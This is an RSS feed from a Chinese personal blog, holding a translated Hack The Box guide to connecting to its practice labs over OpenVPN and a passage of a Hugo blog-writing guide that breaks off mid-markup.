<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>我的博客</title><link>https://blog.1urkers.cn/</link><description>记录、思考与分享</description><generator>Hugo 0.166.0 &amp; FixIt v1.0.0-alpha.2</generator><language>zh-CN</language><lastBuildDate>Fri, 06 Nov 2026 09:30:57 +0000</lastBuildDate><atom:link href="https://blog.1urkers.cn/index.xml" rel="self" type="application/rss+xml"/><item><title>HTB 实验环境访问入门（Introduction to Lab Access）</title><link>https://blog.1urkers.cn/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/</link><pubDate>Sun, 13 Sep 2026 22:00:00 +0800</pubDate><guid>https://blog.1urkers.cn/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/</guid><category domain="https://blog.1urkers.cn/categories/hack-the-box/">Hack The Box</category><description>&lt;blockquote&gt;&#10;&lt;p&gt;来源：&lt;a href="https://help.hackthebox.com/en/articles/5185687-introduction-to-lab-access" target="_blank" rel="external nofollow noopener noreferrer"&gt;Hack The Box Help Center&lt;i class="fa-solid fa-external-link-alt fa-xs ms-1 text-secondary" aria-hidden="true"&gt;&lt;/i&gt;&lt;/a&gt; · 中文译文，插图取自原文 · 翻译日期：2026-09-13&lt;/p&gt;&#10;&lt;p&gt;本文介绍如何连接 VPN 并访问 HTB 实验室里的靶机。&lt;/p&gt;&#10;&lt;/blockquote&gt;&#10;&lt;p&gt;在 Hack The Box，我们使用 &lt;strong&gt;OpenVPN&lt;/strong&gt; 连接，在你的设备和我们的实验室、靶机之间建立链路。你可能用过面向个人的各种&amp;quot;个人 VPN&amp;quot;服务，但我们这个 VPN 的用途完全不同。&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;个人 VPN&lt;/strong&gt; 是这样一类服务：把设备的互联网连接加密，再经由一台用户自选地点的服务器转发。它可以用来保护隐私，也可以用来绕过网络审查。个人用户常用它防止上网行为被监控，或者隐藏自己的真实位置。&lt;/p&gt;&#10;&lt;p&gt;而&lt;strong&gt;公司/组织提供的 VPN&lt;/strong&gt; 通常是为了让员工从外面远程访问公司内网。这类 VPN 在用户设备和公司网络之间建立一条安全连接，你访问内部资源时，就像人坐在公司里插着网线一样。&lt;/p&gt;&#10;&lt;p&gt;我们提供的各类 &lt;strong&gt;VPN 配置文件&lt;/strong&gt;，作用是让你通过互联网接入我们的&lt;strong&gt;内部实验网络&lt;/strong&gt;。这些用来自动配置 OpenVPN 客户端的配置文件，叫 &lt;strong&gt;VPN 包&lt;/strong&gt;（VPN pack）或 &lt;strong&gt;VPN 文件&lt;/strong&gt;（VPN file）。&lt;/p&gt;&#10;&lt;p&gt;有了它，你会被放进和漏洞靶机相同的 IP 子网，从而能够连到它们（然后攻击它们）。&lt;/p&gt;&#10;&lt;p&gt;你需要准备：&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;教学 VPN 包（Tutorial VPN packs）——原页面为图文卡片链接&lt;/li&gt;&#10;&lt;li&gt;免费 VPN 包（Free VPN packs）——原页面为图文卡片链接&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;如果你购买了 &lt;strong&gt;VIP+ 订阅&lt;/strong&gt;，还能看到 &lt;strong&gt;VIP+&lt;/strong&gt; 的 VPN 包。它们和上面列出的免费包长得一样，只是把&amp;quot;Free&amp;quot;换成了&amp;quot;&lt;strong&gt;VIP+&lt;/strong&gt;&amp;quot;。&lt;/p&gt;&#10;&lt;blockquote&gt;&#10;&lt;p&gt;连接 VPN 并不强制要求 Linux 环境，但我们强烈建议使用 Linux 虚拟机。如果你还没搭好 Linux 虚拟机，原文提供了一个专门的入门文章链接。&lt;/p&gt;&#10;&lt;/blockquote&gt;&#10;&lt;h2 class="heading-element" id="vpn-设置与控制台配置"&gt;&lt;span&gt;VPN 设置与控制台配置&lt;/span&gt;&#10; &lt;a href="#vpn-%e8%ae%be%e7%bd%ae%e4%b8%8e%e6%8e%a7%e5%88%b6%e5%8f%b0%e9%85%8d%e7%bd%ae" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;p&gt;要调整、配置或下载连接参数，用控制台（dashboard）任一视图里都有的全局交互控件：&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/images/01-%E6%8E%A7%E5%88%B6%E5%8F%B0VPN%E6%8E%A7%E4%BB%B6%E6%BC%94%E7%A4%BA.gif' alt="控制台 VPN 控件操作演示（动图）" height="668" width="1280"&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/images/02-VPN%E8%BF%9E%E6%8E%A5%E5%8F%82%E6%95%B0%E7%95%8C%E9%9D%A2.png' alt="VPN 连接参数设置界面" height="1600" width="816"&gt;&lt;/p&gt;&#10;&lt;h3 class="heading-element" id="openvpn-分配步骤"&gt;&lt;span&gt;OpenVPN 分配步骤&lt;/span&gt;&#10; &lt;a href="#openvpn-%e5%88%86%e9%85%8d%e6%ad%a5%e9%aa%a4" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&lt;p&gt;如果你选择使用单独的 &lt;code&gt;.ovpn&lt;/code&gt; 配置文件，请依次完成以下设置：&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/images/03-OpenVPN%E5%88%86%E9%85%8D%E6%AD%A5%E9%AA%A4.gif' alt="OpenVPN 配置选择操作演示（动图）" height="1600" width="808"&gt;&lt;/p&gt;&#10;&lt;h2 class="heading-element" id="pwnbox-分配步骤"&gt;&lt;span&gt;Pwnbox 分配步骤&lt;/span&gt;&#10; &lt;a href="#pwnbox-%e5%88%86%e9%85%8d%e6%ad%a5%e9%aa%a4" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;p&gt;Pwnbox 的配置项和 OpenVPN 一致，也是选层级（tier）、地区（region）、协议（protocol）。但要多做下面几步操作：&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/images/04-Pwnbox%E6%AD%A5%E9%AA%A41.png' alt="Pwnbox 操作步骤 1" height="1564" width="810"&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/images/05-Pwnbox%E6%AD%A5%E9%AA%A42.png' alt="Pwnbox 操作步骤 2" height="1602" width="810"&gt;&lt;/p&gt;&#10;&lt;h2 class="heading-element" id="启动-openvpn"&gt;&lt;span&gt;启动 OpenVPN&lt;/span&gt;&#10; &lt;a href="#%e5%90%af%e5%8a%a8-openvpn" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;p&gt;点击 &lt;strong&gt;Download&lt;/strong&gt; 按钮后，&lt;code&gt;.ovpn&lt;/code&gt; 文件默认会下载到你 Linux 发行版的 Downloads（下载）目录。接下来就拿这个文件作为配置，启动 OpenVPN。&lt;/p&gt;&#10;&lt;p&gt;在 Linux 终端里建立隧道，严格按图中步骤操作：&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/images/06-%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%8B%E8%BD%BDovpn%E6%96%87%E4%BB%B6.png' alt="浏览器下载 .ovpn 文件" height="1180" width="894"&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/htb-%E5%AE%9E%E9%AA%8C%E7%8E%AF%E5%A2%83%E8%AE%BF%E9%97%AE%E5%85%A5%E9%97%A8/images/07-%E7%BB%88%E7%AB%AF%E5%90%AF%E5%8A%A8OpenVPN.png' alt="终端启动 OpenVPN" height="1004" width="1524"&gt;&lt;/p&gt;&#10;&lt;p&gt;遇到问题的话，去帮助中心的 &lt;a href="https://help.hackthebox.com/en/articles/5185536-connection-troubleshooting" target="_blank" rel="external nofollow noopener noreferrer"&gt;连接故障排除&lt;i class="fa-solid fa-external-link-alt fa-xs ms-1 text-secondary" aria-hidden="true"&gt;&lt;/i&gt;&lt;/a&gt; 文章开始排障。&lt;/p&gt;&#10;&lt;h2 class="heading-element" id="vpn-控制菜单详解"&gt;&lt;span&gt;VPN 控制菜单详解&lt;/span&gt;&#10; &lt;a href="#vpn-%e6%8e%a7%e5%88%b6%e8%8f%9c%e5%8d%95%e8%af%a6%e8%a7%a3" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;p&gt;下面逐一解释所有 VPN 控制菜单：&lt;/p&gt;&#10;&lt;h3 class="heading-element" id="access实验室选择"&gt;&lt;span&gt;Access（实验室选择）&lt;/span&gt;&#10; &lt;a href="#access%e5%ae%9e%e9%aa%8c%e5%ae%a4%e9%80%89%e6%8b%a9" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&lt;p&gt;在 &lt;strong&gt;Access&lt;/strong&gt; 菜单里，可以从 Machines（靶机）专区所有可用的实验室中选择，包括免费服务器和 VIP+ 服务器——VIP+ 现在新增了呼声很高的澳大利亚（AU）VIP+、新加坡（SG）免费和 SG VIP+ 服务器。&lt;/p&gt;&#10;&lt;p&gt;最佳实践：&lt;strong&gt;选离你最近的实验室&lt;/strong&gt;，同时考虑你账号的 VIP+ 订阅状态。&lt;/p&gt;&#10;&lt;p&gt;告诉大家一个好消息：自 2026 年 1 月 15 日起，免费用户和现有 VIP 用户在打 Machines 时都会拿到&lt;strong&gt;专属实例&lt;/strong&gt;。这意味着性能稳定，更重要的是——没人会和你抢同一台靶机！详情见 HTB 官方博客。&lt;/p&gt;&#10;&lt;h3 class="heading-element" id="server服务器选择"&gt;&lt;span&gt;Server（服务器选择）&lt;/span&gt;&#10; &lt;a href="#server%e6%9c%8d%e5%8a%a1%e5%99%a8%e9%80%89%e6%8b%a9" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&lt;p&gt;在 &lt;strong&gt;Server&lt;/strong&gt; 菜单里选择你要连的具体 VPN 服务器。选好之后就能直接下载 &lt;code&gt;.ovpn&lt;/code&gt; 连接包，开始对 Machines 动手了。&lt;/p&gt;&#10;&lt;p&gt;我们用&amp;quot;手动选服务器&amp;quot;取代了&amp;quot;随机把用户分到人最少的服务器&amp;quot;，因为有不少人提需求：希望多个队友连同一台 VPN 服务器、打同一些靶机，互相较量。希望这个改动能进一步提升团队协作，让你和你的团队、组织的学习进度更上一层楼！&lt;/p&gt;&#10;&lt;h3 class="heading-element" id="download下载"&gt;&lt;span&gt;Download（下载）&lt;/span&gt;&#10; &lt;a href="#download%e4%b8%8b%e8%bd%bd" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Server&lt;/strong&gt; 选择菜单右边就是 &lt;strong&gt;Download&lt;/strong&gt; 按钮，用来下载刚生成的 &lt;code&gt;.ovpn&lt;/code&gt; 包。点击后开始下载 &lt;code&gt;.ovpn&lt;/code&gt; 文件，拿它启动你 Linux 系统上的 OpenVPN 进程，就能连上我们实验室里的 Machines 了。&lt;/p&gt;&#10;&lt;h3 class="heading-element" id="regenerate重新生成"&gt;&lt;span&gt;Regenerate（重新生成）&lt;/span&gt;&#10; &lt;a href="#regenerate%e9%87%8d%e6%96%b0%e7%94%9f%e6%88%90" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&lt;p&gt;如果 &lt;code&gt;.ovpn&lt;/code&gt; 文件因错误生成异常，可以在所选实验室的各台服务器之间来回切换，重新生成文件。新的 &lt;code&gt;.ovpn&lt;/code&gt; 文件生成后，直接下载到你的系统即可。&lt;/p&gt;&#10;&lt;p&gt;如果重新生成之后 &lt;code&gt;.ovpn&lt;/code&gt; 文件仍然无效，随时联系 HTB 支持团队。&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;&lt;strong&gt;相关文章&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;a href="https://help.hackthebox.com/en/articles/5185685-introduction-to-pwnbox" target="_blank" rel="external nofollow noopener noreferrer"&gt;Introduction to Pwnbox（Pwnbox 入门）&lt;i class="fa-solid fa-external-link-alt fa-xs ms-1 text-secondary" aria-hidden="true"&gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;a href="https://help.hackthebox.com/en/articles/5185636-introduction-to-starting-point" target="_blank" rel="external nofollow noopener noreferrer"&gt;Introduction to Starting Point（Starting Point 入门）&lt;i class="fa-solid fa-external-link-alt fa-xs ms-1 text-secondary" aria-hidden="true"&gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;a href="https://help.hackthebox.com/en/articles/5185711-understanding-the-hack-the-box-vpn" target="_blank" rel="external nofollow noopener noreferrer"&gt;Understanding the Hack The Box VPN（理解 HTB 的 VPN）&lt;i class="fa-solid fa-external-link-alt fa-xs ms-1 text-secondary" aria-hidden="true"&gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;a href="https://help.hackthebox.com/en/articles/5185688-connecting-to-academy-vpn" target="_blank" rel="external nofollow noopener noreferrer"&gt;Connecting to Academy VPN（连接 Academy VPN）&lt;i class="fa-solid fa-external-link-alt fa-xs ms-1 text-secondary" aria-hidden="true"&gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;&lt;strong&gt;术语说明&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Machines&lt;/strong&gt;：HTB 主站的靶机专区；&lt;strong&gt;Pwnbox&lt;/strong&gt;：HTB 提供的在线版 Linux 攻击机（浏览器里直接用，不用自己装虚拟机）。&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;VPN pack / &lt;code&gt;.ovpn&lt;/code&gt; 文件&lt;/strong&gt;：OpenVPN 的配置文件，写好了服务器地址、证书等信息。&lt;code&gt;sudo openvpn xxx.ovpn&lt;/code&gt; 就是拿它启动连接。&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;AU / SG&lt;/strong&gt;：澳大利亚 / 新加坡服务器节点。&lt;/li&gt;&#10;&lt;li&gt;服务器协议怎么选：优先 UDP（1337 端口），连不上或频繁掉线再换 TCP（443 端口）。&lt;/li&gt;&#10;&lt;/ul&gt;&#10;</description></item><item><title>博客使用指南：如何写作与发布</title><link>https://blog.1urkers.cn/p/blog-guide/</link><pubDate>Thu, 10 Sep 2026 16:20:00 +0800</pubDate><guid>https://blog.1urkers.cn/p/blog-guide/</guid><category domain="https://blog.1urkers.cn/categories/%E6%8C%87%E5%8D%97/">指南</category><description>&lt;p&gt;这篇文章就是本站的&amp;quot;说明书&amp;quot;，忘了流程随时回来看。&lt;/p&gt;&#10;&lt;h2 class="heading-element" id="1-新建一篇文章"&gt;&lt;span&gt;1. 新建一篇文章&lt;/span&gt;&#10; &lt;a href="#1-%e6%96%b0%e5%bb%ba%e4%b8%80%e7%af%87%e6%96%87%e7%ab%a0" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;p&gt;在 &lt;code&gt;D:\MyBlog&lt;/code&gt; 目录下执行：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;hugo new content posts/我的新文章/index.md&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;生成的文件开头有一段 front matter（两行 &lt;code&gt;---&lt;/code&gt; 之间的部分）：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;---&#10;title: &amp;#34;我的新文章&amp;#34; # 标题&#10;date: 2026-09-10T16:30:00&amp;#43;08:00&#10;draft: true # 改成 false 才会发布&#10;description: &amp;#34;一句话摘要，会显示在列表和搜索里&amp;#34;&#10;tags: [&amp;#34;标签A&amp;#34;, &amp;#34;标签B&amp;#34;]&#10;categories: [&amp;#34;分类&amp;#34;]&#10;featured_image: &amp;#34;cover.jpg&amp;#34; # 可选：封面图（放在同目录下）&#10;---&lt;/code&gt;&lt;/pre&gt;&lt;h2 class="heading-element" id="2-插入图片"&gt;&lt;span&gt;2. 插入图片&lt;/span&gt;&#10; &lt;a href="#2-%e6%8f%92%e5%85%a5%e5%9b%be%e7%89%87" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;p&gt;每篇文章是一个独立的文件夹（Page Bundle），图片直接放在文章旁边即可：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;content/posts/我的新文章/&#10;├── index.md&#10;├── cover.jpg ← 封面图&#10;└── screenshot.png ← 正文配图&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;正文中引用：&lt;code&gt;![截图说明](screenshot.png)&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 class="heading-element" id="3-本地预览"&gt;&lt;span&gt;3. 本地预览&lt;/span&gt;&#10; &lt;a href="#3-%e6%9c%ac%e5%9c%b0%e9%a2%84%e8%a7%88" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 